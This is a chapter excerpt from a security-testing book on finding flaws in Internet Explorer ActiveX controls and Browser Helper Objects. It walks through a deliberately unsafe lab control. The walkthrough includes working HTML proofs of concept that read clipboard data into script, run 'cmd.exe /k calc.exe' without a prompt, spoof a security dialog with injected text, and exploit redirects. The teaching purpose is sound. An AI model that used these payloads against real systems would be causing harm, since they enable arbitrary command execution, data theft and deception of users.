More Info

The Outlook View Control bug described here has been fixed. For more information, refer to http://www.microsoft.com/technet/security/Bulletin/MS01-038.mspx.

How can you spot these kinds of objects? Look for collections of objects and methods and properties that can return objects. Object Browser and OLEView can indicate when members are objects. Essentially, there are five data types to watch out for:

  • The IDispatch and IDispatch* objects are definitely objects, 100 percent of the time. Note that the trailing asterisk(*) indicates this data type is a pointer rather than a value.

  • VARIANT and VARIANT* mean the data type is unclear and might contain anything (including objects). Note that the VARIANT data type without the asterisk (*) can still contain interface pointers.

  • Data types that resolve to objects in the debugger Watch window.

  • Data types that have variables that return [object] in Internet Explorer with alert(variable);.

  • Unrecognizable data types.

Tip

The VBScript TypeName function returns a specific object’s type at run time.

Control Persistence – Browser Helper Objects (BHOs)

Consider the COM component that doesn’t go away when the HTML page is unloaded. Browser Helper Objects (BHOs) are an example of this class of component. They are different from ActiveX controls in that they usually load when Internet Explorer starts or the user clicks a menu item, and they respond to various events such as navigating to a Web page or submitting a form. BHOs have full access to programmatically manipulate the Web browser and all of the content on the Web pages. BHOs can be scripted from the web page, and they are just as vulnerable as other ActiveX controls to repurposing attacks.

If your control has BHO functionality or if it remains active after the user navigates away from the page, you need to consider carefully the following example of a particular control because it allowed any malicious user to track the Internet usage of victims.

Tip

When testing, don’t think of each ActiveX control as a single unit but as a piece of a bigger environment.

This feature manages Web server discussion threads and appears when the appropriate page is viewed in Internet Explorer, which would display the Discussions toolbar at the bottom of the application window. The user could then use the commands on this toolbar to add a discussion server, specify what information will be displayed for a discussion, or subscribe to a particular Web page, or folder on a Web server.

In this particular case, the control has two interesting methods:

  • One that turns on the Discussions toolbar

  • Another that sets the default Discussion Server

The control by itself doesn’t seem so bad, except that it had a weakness in how it communicates with the server. Once the Discussions toolbar is enabled, the control communicates with the specified server to see whether the server has any discussions for the given URL. It does this through an HTTP request that passes in the URL of the page the user is on as a query string parameter.

Tip

Don’t forget: ActiveX controls and BHOs are full Win32 executables. Tools such as Network Monitor and other security testing tools can be invaluable in helping you assess what the control is really doing. Don’t assume that the browser generates all of the network traffic.

So the attacker’s script can launch the toolbar and set their server to be the default. Then, the attacker only needs to view their Web logs to see which sites their victims are visiting. This can prove even worse for sites that pass session information or other juicy goods in query string parameters (even over Secure Sockets Layer) when the victim logs on or submits sensitive information.

Server Redirection

If your control asks the user to make security decisions based on the domain in a URL or presents the URL to the user to ask permission to process the URL in a particular way that might be insecure, you need to test for server redirection. Suppose the control has a simple method LoadFromURL that takes one parameter, a string value of the URL to load from. It looks like this:

<script>
AX.LoadFromURL("http://www.good.example.com/goodpage.asp");
</script>

When the method is called, a dialog box comes up asking whether the user really wants to load the file from the good.example.com domain. Because the user trusts good.example.com, of course the user trusts the file. Then, change the URL:

<script>
var sURL = "http://www.good.example.com/?redir=";
sURL += "http://www.bad.example.com/badpage.asp";
AX.LoadFromURL(sURL);
</script>

The dialog box opens again and asks whether the user wants to load the page from good.example.com. The user trusts good.example.com and so clicks OK. The control loads the file from bad.example.com.

Why does this happen? Is redirection the problem? Redirection is perfectly legitimate, and lots of sites do this. In this case, good.example.com has a page on its site that helps to redirect users to other pages on its site.

How does this work? The Active Server Page (ASP) page grabs the redir query string request value and issues a Response.Redirect command, passing in the redir query string (in this case, the bad.example.com page) as the URL to redirect to. Response.Redirect then sends down to the client a 302 (Object Moved) or similar HTTP response with the new location for the client to request (bad.example.com).

The attacker reused the control and a server’s redirection to fool the user into loading a file from a URL the user might not trust. Some application programming interfaces (APIs) available to developers automatically follow the redirect, so behind the scenes everything just works—for the attacker, that is.

Bypassing Browser Security Settings

In Internet Explorer 6 Service Pack 1 (SP1), the Internet Explorer team went a long way toward mitigating local cross-site scripting (XSS) attacks from the Internet domain. To implement a complete solution to local cross-site scripting attacks, ActiveX controls should also comply and not redirect to local content. If an ActiveX control redirects to local content when Internet Explorer bans such redirection, your ActiveX control serves as a method an attacker can use to bypass Internet Explorer security settings.

To find these bugs, first identify places in the control that load files or consume URLs. Next, try using these members of the ActiveX control to load local files. Finally, assess the result of your efforts by looking at the behavior of the control or using other tools such as FileMon. Briefly, here’s how one example works:

<object
   classid="clsid:{12345678-1232-1234-3212-345654321234}"
   id="objBuggy">
</object>
<script>
   // The control loads the URL specified in script in a new
   //window in which it is hosting HTML.
 objBuggy.IsEditMode=1;
   //Redirect to a local file works fine
   //Note that using equivalent script in Internet Explorer
   // without the ActiveX control would fail because of the
   // Internet Explorer security which blocks the action.
 objBuggy.Url = "c:\foo.html#javascript:DoBadStuff()";
   //Go for it!
 objBuggy.ShowHTMLWindow;
</script>

Namespaces and Behaviors

Binary behaviors work like ActiveX controls that bind to specific HTML tags and can be initialized with tag properties and scripted by referencing the ID or name of the tag. Behaviors have the ability to control all aspects of HTML elements (catching events, setting values, and more). Binary behaviors are just like ActiveX controls from a security standpoint. You can find out more about binary behaviors at http://msdn.microsoft.com/library/default.asp?url=/workshop/browser/behaviors/howto/belementb.asp.

One particular ActiveX control programmer implemented a binary behavior to block potential malicious attacks using the control’s ImportList method. In normal usage, the control was loaded as a behavior off of the <input type=file /> element as follows:

<object classid="clsid:{BDEADE9E-C265-11d0-BCED-00A0C90AB50F}"
 id="LauncherObj" style="display:none;"></object>
<input id="SpreadsheetFile" Type="file" Name="SpreadsheetFile"
 style="behavior: url(#LauncherObj);">

The <input type=file /> HTML element does not let script set the value property (which contains the filename to upload), otherwise malicious Web sites could upload arbitrary files from users’ hard disks. Knowing this, the programmer of the control added a security check to make sure it could bind only to the HTML <input> elements of Type=file.

How can the attacker bypass this binary behavior’s security mechanism? There wasn’t any way for the control to access files directly through the input element; instead, the attacker must fool the control into thinking it was loaded into an input element when in fact some other element bound to the behavior. This was done using HTML namespaces and expandos.

In a nutshell, a namespace can be added to any HTML document as follows:

<HTML XMLNS:EVIL>

In this example, the namespace is EVIL. A given HTML tag can be included in that namespace by prepending the namespace name to the tag name:

<EVIL:IMG src="http://www.example.com/ing.jpg">

By defining an HTML namespace (called input) the attacker fooled the control into thinking it was loaded by the <input type=file /> element; then, by setting the expando value=c:filename.txt, the attacker could use the control to detect whether a local file existed, among other malicious things.

ActiveX Control Testing Walkthrough

This section takes you on a walkthrough of testing all members of an ActiveX control for security vulnerabilities. The control used here is included on the companion Web site, along with a small Software Development Kit (SDK) document describing its usage.

The main goal of walking through the members of the control is to understand what they do and how to manipulate them using HTML. Then, you can begin to formulate how they might be used maliciously. For each member, you will find information about what it is used for and how to use it in sample HTML. Next, you will see from a security tester’s perspective how a potential attacker might benefit from each member. Finally, you will see specifically how to construct test cases for each idea to try to maliciously repurpose the control in different ways.

Warning

Note that the control is not marked as safe. It is not safe. If you do install it for learning purposes, please unregister it (regsvr32.exe /u sprocket.ocx) when you are not using it. Normally, you might focus on safe controls first, but this unsafe practice ActiveX control will generate security prompts and show toolbars in the browser that a safe control will not show. Make sure to only install it on a test-only system, and uninstall it when finished.

Before starting any malicious test cases, you need to know how to call the control properly so as to not waste time trying test cases that never exercise any functionality in the control.

In this case, the control has an SDK, whereas in many cases control programmers might not anticipate others using their control directly. In the latter case, you would have to experiment with the control to determine how to use it. When you look through the SDK, you might notice that the InvokeRTFEditor method looks interesting. The SDK reveals that this method opens a file specified in the RTFSource PARAM using the program specified with the RTFEditor PARAM.

Warning

Lack of information, such as an SDK, certainly doesn’t make a control more secure. Don’t be misled into thinking any documentation (Help files, the IDL interface definition, or even your test cases) describes all of the interesting ways to call into the control.

First try the nonmalicious test case. The InvokeRTFEditor command could be scripted per the SDK, but the following code also specifies a couple of additional PARAMs to make this more interesting:

<OBJECT id="Editor"
   classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9"
   height=300 width=300>
<PARAM NAME="RTFSource"
    VALUE="http://www.evil.thephone-company.com/vroot/path/document.rtf">
 <PARAM NAME="RTFEditor"
    VALUE="C:Program FilesWindows NTAccessorieswordpad.exe">
</OBJECT>
<SCRIPT>
 Editor.InvokeRTFEditor(true);
</SCRIPT>

Tip

Machines inside of the same domain are typically accessed in a variety of ways. Consider http://test, for example, which is also accessible by using its fully qualified domain name (FQDN) http://test.thephone-company.com. Remembering this tip can be handy if you need the HTML loaded in the Intranet or Internet security zones.

Some controls have security measures built in that allow more access when they run from the local hard disk as opposed to a Web server on the Internet. After saving the preceding HTML as the main page of the test Web site, browse to it with Internet Explorer and see that the file from http://www.evil.thephone-company.com/vroot/path/document.rtf opens with WordPad.

Clear

The first method is the Clear method. OLEView shows the following:

[id(0x00000002), helpstring("Clears the control.")]
LONG_PTR Clear();

Notice the return value LONG_PTR. The documentation doesn’t say anything about a return value for this or what it does. The first task is to construct some HTML to call the Clear method to enable you to experiment with it some. Because the CLSID is 0C3C509F-111A-4E6C-B270-1D64BCFD26F9, the <object> HTML tag would then look like this (Chapter18.16.html on the book’s companion Web site):

<OBJECT id="Editor" height=300 width=300
 classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9">
</OBJECT>

Script to access the Clear method is Editor.Clear() (Chapter18.17.html on the book’s companion Web site), shown as follows and in Figure 18-8:

<OBJECT id="Editor" height=25 width=300
 classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9">
</OBJECT>
<input type=button onclick="Editor.Clear()" value="Clear"></input>
<input type=button onclick="alert(Editor.Clear())" value="ClearAlert"></input>
The control in Internet Explorer

Figure 18-8. The control in Internet Explorer

In Figure 18-8, notice how the boundary of the control does not appear. You never know when or where a control will appear in Internet Explorer. Also notice that the HTML has <input ... > elements that correspond both with calling the member Clear and examining the return value (the alert statement displays the return value).

After saving this as HTML and loading it in the browser, what happens? Two buttons are included. Type in some text in the control on the Web page, and click Clear. The text disappears. Type some more text in the box, and then click ClearAlert.

There is a script error in the lower left status bar of Internet Explorer, as shown here:

The control in Internet Explorer

Double-click this error in the status bar; Internet Explorer claims there was a type mismatch. That’s weird. It turns out this isn’t an interesting method in and of itself, but it might play a role in an exploit if it involves emptying the control of contents.

ClipboardCopy

The next method in the control is the ClipboardCopy method, which has the following declaration:

[id(0x00000005), helpstring("Copies from the control to the Clipboard.")]
LONG_PTR ClipboardCopy(long Format);

This method has the same LONG_PTR variable type that gave a type mismatch error before.

Copying from the control to the Clipboard isn’t as bad from a security standpoint as pasting is, but there are still possible issues such as buffer overruns and format string vulnerabilities to be concerned about (please refer to Chapter 8, and Chapter 9, for more information on how to test for these classes of attack). A security setting in Internet Explorer governs paste operations. That setting might apply, but this is a copy, not a paste.

What does the <object> HTML tag look like for this member?

Hint: We know the control’s CLSID is 0C3C509F-111A-4E6C-B270-1D64BCFD26F9.

Answer:

<object id=myObject classid=“clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9”></object>

If HTML names the object myObject, how would you script the method ClipboardCopy(Format)? Try creating a Web page that creates this control and uses the ClipboardCopy method to copy the control’s contents to the Clipboard. Think about how to use events to let this happen later than when the control is first loaded (see Chapter18.18.html on the book’s companion Web site). Hint: look at the HTML in the previous section that discusses the Clear method. Try overflowing the buffer by entering long strings and then calling the ClipboardCopy method. What happens?

ClipboardPaste

Now for the third item: ClipboardPaste. This method is defined as follows:

[id(0x00000006), helpstring("Pastes from the Clipboard into the control.")]
LONG_PTR ClipboardPaste();

Think about what can happen to the information once it is in the control. Perhaps there is a way to paste the Clipboard contents to the control, and then somehow send the control’s contents to a server somewhere else. How would that work?

First, the victim browses to the malicious Web page. The Web page instructs the user’s browser to load this sprocket control and calls the ClipboardPaste method to transfer the Clipboard contents into the control. Script somehow accesses the contents of the control and sends them to the server. Most of these actions are available to you already, but not all of them. What is missing? You still need a way to access the contents of the control through script. How, though?

Tip

You might often need to combine the actions of various members with other members to accomplish a goal. Most (not all) real exploits using ActiveX controls wind up using more than one member. Sometimes the means to demonstrate the issue fully isn’t forthcoming. As defense in depth, it is always worth considering clearly defined issues with single members or serious threats even if you cannot figure out how to pull off the full attack.

Scan the SDK for other interesting members you might be able to use in combination with this one to pull the Clipboard information out of the control. The Clear member might be interesting if you can make sure the contents are all totally cleared out first, guaranteeing the script has only the Clipboard contents. NumChars returns the number of characters in the control; this would tell how long the Clipboard contents are, perhaps. Keep looking. RTFEditor is not that interesting, really. Most of the members have to do with the editor or the URL, but eventually you’ll come to two interesting members: SelectText, which selects a range of text, and SelectedText, which returns the selected text. How much text should script select? Well, you might use the NumChars property, but the SDK shows an example that always selects all of the text in the control using the SelectText method!

The next step is to put this all together, as shown in the following graphic. First, generate HTML to use the sprocket object. Next, use the ClipboardPaste method to transfer information from the system Clipboard to the control. After that, select the text using SelectText, and then pass the text to the script engine using the SelectedText property. From there, the script engine can bundle this up in an HTML form and post it to any server.

ClipboardPaste

How does this look in HTML? First, create the sprocket control:

<object id=Editor
  classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9"
  style="visibility:hidden">
</object>

Then get the Clipboard data, and verify script got it:

<script>
  Editor.ClipboardPaste(); //Clipboard to control
  Editor.SelectText(1,-1); //Select it in control
  alert(Editor.SelectedText); //Proof we can get it!
</script>

Now, save this (Chapter18.19.html on the book’s companion Web site), copy something to the Clipboard, and load the HTML page in the browser. What happens?

This results in an empty prompt. The control doesn’t work. Following up with development reveals why: this control won’t work when the visibility is set to hidden. You could wait around for development to fix this other bug, but that’s a minor bug and development might not get to it. Instead, start again with what works for this object. Here is the new HTML (Chapter18.20.html on the book’s companion Web site):

<object id=Editor
 classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9"
 height=60 width=100>
</object>
<script>
  function f() {
    Editor.ClipboardPaste();
    Editor.SelectText(1,-1);
    alert(Editor.SelectedText);
  }
  setTimeout("f()",500); //Wait for editor to initialize.
</script>

Copy “Juicy Clipboard Data” and run it again. What happens? The following prompt appears after the Web page loads:

ClipboardPaste

That’s enough proof that the script engine has the data from the Clipboard, and this bug should be fixed. See http://www.greymagic.com/security/advisories/gm007%2Die/ and http://www.microsoft.com/technet/security/bulletin/MS02-044.mspx for an example of this bug in action.

Important

Don’t make the mistake of assuming you’re done testing a particular function when you find a bug. Is the testing done here? No. Think about the different types of security vulnerabilities that might apply besides information disclosure. Another good thing to note is that ClipboardPaste uses strings, so use the JavaScript Clipboard functions to inject long strings to the Clipboard, and then call ClipboardPaste to look for overflows. Don’t forget to look for format string bugs, too.

InvokeRTFEditor

One great thing about security testing is that invariably you’ll find other bugs during the process, too. So far, you found a minor nonsecurity issue (the control doesn’t work when the control isn’t visible) and an information disclosure issue (the Clipboard issue). What’s next?

Note

Remember, as you go through these examples in greater detail, work with each member to figure out as much detail as possible about how it processes attacker-supplied data.

[id(0x00000008),
  helpstring("Edits the contents of the control in a specified editor.")]
LONG_PTR InvokeRTFEditor(unsigned short Prompt);

A multitude of questions come to mind given the preceding InvokeRTFEditor function. The contents are edited in a “specified editor.” Can the attacker also specify the editor used by the victim that connects to a Web site? Regarding the parameter Prompt, the SDK clarifies this parameter is a Boolean. Maybe this can bypass prompts and silently launch an editor. That would be cool!

Start by running the method once and seeing it in action. Again, make sure to know how this works. Follow along (this code is included as Chapter18.21.html on the book’s companion Web site):

<object id=Editor
 classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9">
</object>
<script>
 Editor.InvokeRTFEditor(true);
</script>

See Figure 18-9 for the results. Think critically about the dialog box shown in the figure. What is it asking from the user? Does it give the user sufficient information to make the correct decision? Does it grab their attention? Is it clear this is a security decision? Is a prompt the best way to solve this security problem? How might attackers be able to work around this dialog box?

The Launch External Editor dialog box

Figure 18-9. The Launch External Editor dialog box

Aha, security UI! Per Figure 18-9, the default action of the Launch External Editor dialog box is the No button (the more secure setting), so that seems to be right from a security point of view. The question mark on the left in Figure 18-9 is misleading when compared to other icons that the programmer could have used in its place. It makes the dialog box easier to spoof if the attacker can somehow get the ‘write.exe’ part of the prompt text replaced (the SDK seemed to hint at this)—is that why write.exe is in single quotation marks?

Clicking the Yes button shown in the dialog box in Figure 18-9 launches WordPad, as shown in Figure 18-10. ActiveX controls that launch other programs can be abused.

A control that launches WordPad

Figure 18-10. A control that launches WordPad

At this point the questions are really flowing, and that’s good. How did the control launch WordPad? Notice Tom1E0.tmp in the application title bar in Figure 18-10. Did WordPad create this file or did the control? Where is that file stored? Is data from the control pumped into the app? What happens? And most important, how can an attacker use all of this to trick users?

Tip

It is often the case that trying to figure out one item can lead to a lot of questions and observations. Try to keep a list on paper or make mental notes to remind yourself to follow up on all the leads you generated so that important test cases aren’t forgotten later.

The next few sections discuss how to use various tools and techniques to discover the answer to the following questions while you are looking for serious security flaws:

  • How can an attacker specify the editor InvokeRTFEditor uses?

  • Can the attacker bypass the prompt?

  • Can the attacker spoof the prompt?

  • How is the editor launched?

  • Which component creates the Tom1E0.tmp file?

  • Where is the Tom1E0.tmp file stored?

  • Is data from the control pumped into the editor? How?

That’s a pretty big list of questions, some of which seem to be threats. You might wonder what is different between the threat modeling process and this analysis. Look carefully at the list. Which questions would not typically be included in the threat model, and why not? The preceding questions are a mix of threats and specific questions about observed behavior encountered so far. Threat models are typically not very focused on fine details of actual observed behavior, but rather focus on informed thoughts, brainstorming, assessments, analysis, and discussion. Adjusting the assessment of the threats specific to features and members as the discovery process unfolds is unique to the testing discipline. Real-time adjustment of threat analysis and subsequent test cases based on actual observed behavior is a powerful process that security testers and attackers have in common. Learning to use your creativity and observation skills and applying those skills to analyzing a feature’s actual behavior can prove very effective. You must be able to stay focused on the goal of understanding how an attacker would use this feature to cause victims some degree of harm to effectively test the feature for security issues.

How Can an Attacker Specify the Editor InvokeRTFEditor Uses?

The InvokeRTFEditor method does not contain any way to specify the editor, but it does claim to load ‘write.exe’. No path is mentioned with write.exe, so perhaps you can get your own malicious, Trojan write.exe to run somehow.

Try to put a copy of notepad.exe as write.exe in the same folder as the TestCase.htm, and then try launching TestCase.htm directly in Internet Explorer over the network or the local file system, hoping somehow the control uses the current working directory to load the Trojan horse. You’ll find this doesn’t work—the control still loads WordPad.

Don’t give up yet. Next try placing a copy of notepad.exe renamed as write.exe in the Internet Explorer directory, and reload the HTML. Excellent! Notepad loads instead of WordPad. But big deal—if you can write to that directory, just overwrite iexplore.exe. Where else should be checked?

Perhaps try including a different version of write.exe where the file is created. You can use FileMon to find out where the file is created, but just to do things differently here, load the HTML and look at the filename. Recall from Figure 18-10 the filename is Tom1E0.tmp.

C:>dir /s/a/b Tom1E0.tmp
C:Documents and SettingsBookLocal SettingsTempTom1E0.tmp

That’s the temporary folder. Copy notepad.exe and rename.

C:>copy %windir%system32Notepad.exe %temp%
        1 file(s) copied.

C:>ren %temp%
otepad.exe write.exe

Now when reloading the HTML in the browser, the following appears:

How Can an Attacker Specify the Editor InvokeRTFEditor Uses?

There is no obvious way to launch a Trojan write.exe using just this method, but it is still worth threat modeling; perhaps there is some way not yet considered.

Invoking a malicious write.exe seems tough, but can you use some of the other members of the control to launch a different editor? You might look through the SDK to gain some specific ideas to try. RTFEditor looks promising. RTFEditorOverrideKey/Value seems to imply this control somehow reads the path from the registry.

How does the RTFEditor PARAM work? The SDK gives some HTML for invoking a different RTF editor (Chapter18.22.html on the book’s companion Web site):

<object id=Editor
   classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9"
   height=30 width=300>
 <param name="RTFEditor" value="notepad.exe">
</object>
<input type=button
   onclick="Editor.InvokeRTFEditor(false)"
   value="Edit in Notepad">

Figure 18-11 shows what happens this time when Internet Explorer loads the HTML and you click the Edit In Notepad button. Notepad runs! In addition to running Notepad, something else happens differently. Did you notice? Security testers need to observe differences. What is different here is discussed later.

Invoking a different editor

Figure 18-11. Invoking a different editor

Hint: Load the previous HTML we had that launched WordPad. Think about what you have to do as a user for that to run.

Answer: There’s no prompt!!

OK, that’s a bug, but how bad is it? How can an attacker take advantage of this? Can HTML launch executables from the Internet by using Universal Naming Convention (UNC)? To try launching an executable using UNC, consider typing ping servername at a console window to get the IP address, and then use \[IP Address]sharefun.exe, or provide a network path of your own. Some people with direct connections to the Internet can pull down information this way, although not many given firewalls and other related mitigations in place.

Perhaps the code somehow filters and allows notepad.exe but disallows other malicious options. How could you test whether this is the case? Try including a command-line parameter and cmd.exe (Chapter18.23.html on the book’s companion Web site):

<object id=Editor
   classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9"
   height=300 width=300>
 <param name="RTFEditor" value="cmd.exe /k calc.exe">
</object>
<script>
 setTimeout("Editor.InvokeRTFEditor(false);",500);
</script>

That works great—great, that is, from an attacker’s perspective: Windows Calculator launches. By using the /k command-line parameter with cmd.exe, you can see in Figure 18-12 that the control saves the file and passes the name of the file in on the command line.

The cmd.exe window that appears with the Calculator

Figure 18-12. The cmd.exe window that appears with the Calculator

Try experimenting with the RTFEditor PARAM. Then consider what else is left on the list of items to investigate.

Tip

Consider, it would be preferable if the editors available for use were contained in a well-defined list that was specified using some enumeration.

By now you know how to use the RTFEditor PARAM to specify the editor and run arbitrary commands as well. There is still an open issue about whether RTFEditorOverrideKey or RTFEditorOverrideValue can also accomplish this. This walkthrough discusses the possibility when testing those members.

Can an Attacker Bypass the Prompt?

The SDK sample shows how to bypass the prompt by supplying a Prompt parameter value of false. Nice! Did you notice that the dialog box that appears in Figure 18-9 does not appear at all for some cases? Remember there was something else different in addition to notepad launching when you tried the following code (from Chapter18.22.html on the book’s companion Web site)?

<input type=button
   onclick="Editor.InvokeRTFEditor(false)"
   value="Edit in Notepad">

Look again at Figure 18-11. There was no prompt!

Can an Attacker Spoof the Prompt?

What if the programmer decides to fix the issue of being able to run arbitrary commands using InvokeRTFEditor by always prompting (ignoring the Prompt parameter)? Does that fully address the issues here? Chapter 6 can give you a few ideas.

Think about what an attacker could do with the prompt. Consider whether the attacker can specify a different value for the RTFEditor PARAM. The dialog box shown in Figure 18-13 appears after you change the existing calculator example (Chapter18.24.html on the book’s companion Web site) and run the HTML in Internet Explorer.

The Launch External Editor dialog box

Figure 18-13. The Launch External Editor dialog box

Users would probably click No when they encounter the Launch External Editor dialog box in Figure 18-13. Notice that the input specified in the RTFEditor PARAM appears in the dialog box prompt. This could be useful. Perhaps the attacker can get creative (Chapter18.25.html on the book’s companion Web site):

<script>
 var t="<object id=Editor ";
 t += "classid=clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9 ";
 t += "height=300 width=300>";
 t += "<param name=RTFEditor value="";
 t += "cmd.exe /k calc.exe ', but first Internet Explorer ";
 t += "wants to know what security you would like to apply.";
 t += "&#x0d;&#x0a;&#x0d;&#x0a;Microsoft recommends ";
 t += "setting Internet Explorer external editor security ";
 t += "settings to only allow trusted editors by enabling ";
 t += "'Restricted Access">";
 t += "</object>";
 document.write(t);
 setTimeout("Editor.InvokeRTFEditor(true);",500);
</script>

Compare the dialog box in Figure 18-13 with the one shown in Figure 18-9. There is an important difference. Figure 18-14 shows a more dramatic illustration of how this difference can be exploited by an attacker. With a little wordsmithing an attacker can repurpose the message using HTML along the lines of the preceding to generate the dialog box shown in Figure 18-14.

A spoofed Launch External Editor dialog box

Figure 18-14. A spoofed Launch External Editor dialog box

Compare the dialog box shown in Figure 18-14 to the ones shown in Figure 18-13 and Figure 18-9. Take a close look at how an attacker can twist the meaning of the message. Many users might click the Yes button in response to the prompt shown in Figure 18-14. Notice what text came from the Web page and how untrusted HTML is able to totally change the meaning of the Yes and No buttons to confuse the user into making the wrong choice. So the Launch External Editor dialog box has spoofing issues, too.

How Is the Editor Launched?

In the process of investigating the answers to other questions, it became evident that the control runs the value specified in the RTFEditor PARAM as a command, with the temp file as a command-line parameter.

Which Component Creates the TomCC9.tmp File?

Observation revealed that the TomCC9.tmp (or similar) file is created by the ActiveX control prior to launching the external editor.

Where Is the TomCC9.tmp File Stored?

This file is stored in the %temp% folder, as demonstrated earlier.

Is Data from the Control Pumped into the Editor? How?

While continuing to investigate the InvokeRTFEditor method to understand exactly how it works, focus on whether data from the control is pumped into the editor, and if so, how.

Previous testing revealed that the file written to the hard disk has a unique (but not quite random) filename, and the editor runs with the file as a command-line parameter that tells the editor where to look for the file. What can you do to tell whether data goes from the control to the editor, and whether data somehow returns from the editor to the control? You need some HTML that allows for editing the contents of the control before launching the editor, such as the following HTML (Chapter18.26.html on the book’s companion Web site):

<object id=Editor
   classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9">
</object>
<a href="javascript:Editor.InvokeRTFEditor(false);">
   Click Me!
</a>

After loading the HTML in Internet Explorer, type into the control some distinct text you will recognize:

Is Data from the Control Pumped into the Editor? How?

Click the Click Me! link, and notice this: WordPad opens:

Is Data from the Control Pumped into the Editor? How?

The file contains the text in the control. Does this seem like an issue? Does WordPad expect it can trust the contents of a file sitting in the %temp% folder on a user’s machine? What might be some other content that could be inserted into the file to cause problems? Think about the interesting things that could be done using various programs as editors.

There are no pat answers to these questions because it depends on which editors can load the content. If Internet Explorer is the editor, storing untrusted content from the Internet in the %temp% folder is a risky proposition because the %temp% folder is in the Local Machine zone. Right now, however, any program on the system or the network can load the content, and so there is literally no limit until proven otherwise. During your investigation, it might be worthwhile to figure out which bytes and characters make it from the control to the file unchanged. In this manner, you could better tell which possible file formats could be generated. Is it really just text? It’s unknown at this point. Perhaps attackers can create files of almost any type (even executable) through the control.

But Wait, There Is More!

Although an attacker need not do much more work after figuring out how to run arbitrary code, you should still test for other issues with the InvokeRTFEditor method. Have you looked for buffer overruns, format string attacks, or other bugs? Maybe the attacker can use the method’s return value to determine whether a particular file exists on the user’s machine. HTML that searches for the existence of a file called cal.exe might look something like what follows here (Chapter18.27.html on the book’s companion Web Site):

<object id=Editor
   classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9"
   height=300 width=300>
 <param name="RTFEditor" value="cal.exe">
</object>
<script>
 setTimeout("alert(Editor.InvokeRTFEditor(false));",500);
</script>

Trying to use the return value from a method is a good case to remember. In this InvokeRTFEditor case, it doesn’t work, however.

LoadRTF

The next member to consider is LoadRTF. According to OLEView, the LoadRTF member has the following declaration:

[id(0x0000000a), helpstring("Loads RTF from the URL specified.")]
void LoadRTF(BSTR URL);

How does this work? From the SDK, it says URLs are valid, so try a URL (Chapter18.28.html on the book’s companion Web site):

<object id=Editor
   classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9"
   height=300 width=350>
</object>
<script>
 Editor.LoadRTF("https://www.woodgrovebank.com");
</script>

When the browser loads the preceding HTML, the dialog box shown in Figure 18-15 appears. Compare this dialog box with the one shown in Figure 18-9. Look at the prompt and figure out which text came from the attacker’s Web page. Again there are secure defaults (the No button is selected by default), and you can probably spoof this dialog box, too. If the victim clicks the Yes button, content is pulled down from the victim’s bank, as shown in Figure 18-16. The ActiveX control gets all the HTML source (which might include any online banking information) from the victim’s bank over SSL.

The Open Document dialog box, which pulls text from the attacker’s Web page

Figure 18-15. The Open Document dialog box, which pulls text from the attacker’s Web page

The ActiveX control that obtains the HTML source

Figure 18-16. The ActiveX control that obtains the HTML source

It turns out script can get local files, too, but the user is prompted first. To be stealthy the attacker must go after the (weakly implemented) prompt to see if there is any way to work around it.

What else should you test LoadRTF for? Buffer overruns and format string attacks start the list, but they are not all. What if the server can redirect to another domain and load that content instead? In that case, users would think they are loading content of an external site they might not care about, and the content might really come from their bank Web site. What is the process the control uses to download the information from the URL? Are the contents of the URL saved someplace as a file first? What might be the issues there? Can an attacker check for the existence of local files or remote files only a different user might have access to somehow (using errors or return values)?

There is a lot to think about when testing ActiveX controls for security. Don’t get too bogged down in the thought process—actually create the test cases and see what happens.

NumChars

NumChars is the next member. It is a read-only property that contains the number of characters in the control. OLEView gives the following:

[id(0x00000007), helpstring("Returns how many characters are in the control.")]
unsigned long NumChars;

The SDK gives the following sample code (Chapter18.29.html on the book’s companion Web site):

<object id=Editor
   classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9"
   height=300 width=300>
</object>
<input type=button onclick="isempty()" value="Empty?">
<script>
 function isempty()
 {
    if (Editor.NumChars == 0)
        alert('Editor is empty!'),
    else
        alert('We have some text...'),
 }
</script>

The real question is whether there is anything malicious an attacker can do with this property. Well, probably not directly, but if an attacker wanted to load the control with other data as part of an exploit, this property might come in handy to tell when the control is fully loaded.

Tip

Even members that seem useless to an attacker can turn out to be very useful. Although these members would not be considered bugs themselves, sometimes they can combine to be fairly powerful forces in the hands of an attacker.

RTFEditor Property

Look at the RTFEditor property. OLEView shows the following definition:

[id(0x00000009), helpstring("Specifies the RTF editor to use.")]
BSTR RTFEditor;

The SDK gives some HTML that retrieves the current value of the property but does not set the value (Chapter18.30.html on the book’s companion Web site):

<object id=Editor
   classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9"
   height=30 width=300>
</object>
<input id=Btn1 type=button
   onclick="Editor.InvokeRTFEditor(false)">
<script>
 Btn1.value = "Edit in " + Editor.RTFEditor;
</script>

Try this code to see what happens. Not much—an Edit In Write.exe button that invokes the editor appears. Try to set the value. Load the following HTML (Chapter18.31.html on the book’s companion Web site), type calc.exe into the Txt1 input HTML element, and then click the Edit HTML button.

<object id=Editor
   classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9"
   height=30 width=300>
</object>
<input id=Btn1 value="Edit" type=button onclick="f()">
<input id=Txt1 value="" type=text>
<script>
 function f()
 {
    Editor.RTFEditor = Txt1.value;
    Editor.InvokeRTFEditor(false);
 }
</script>

What happens? It doesn’t work. Now you must figure out why it doesn’t work. Remember how to investigate these cases? Start with something simpler (Chapter18.32.html on the book’s companion Web site):

<object id=Editor
   classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9"
   height=300 width=300>
</object>
<script>
     Editor.RTFEditor = "notepad.exe";
     alert(Editor.RTFEditor);
</script>

When the preceding HTML loads in Internet Explorer, a Microsoft Internet Explorer dialog box appears (from the alert JavaScript command) that contains the text write.exe.

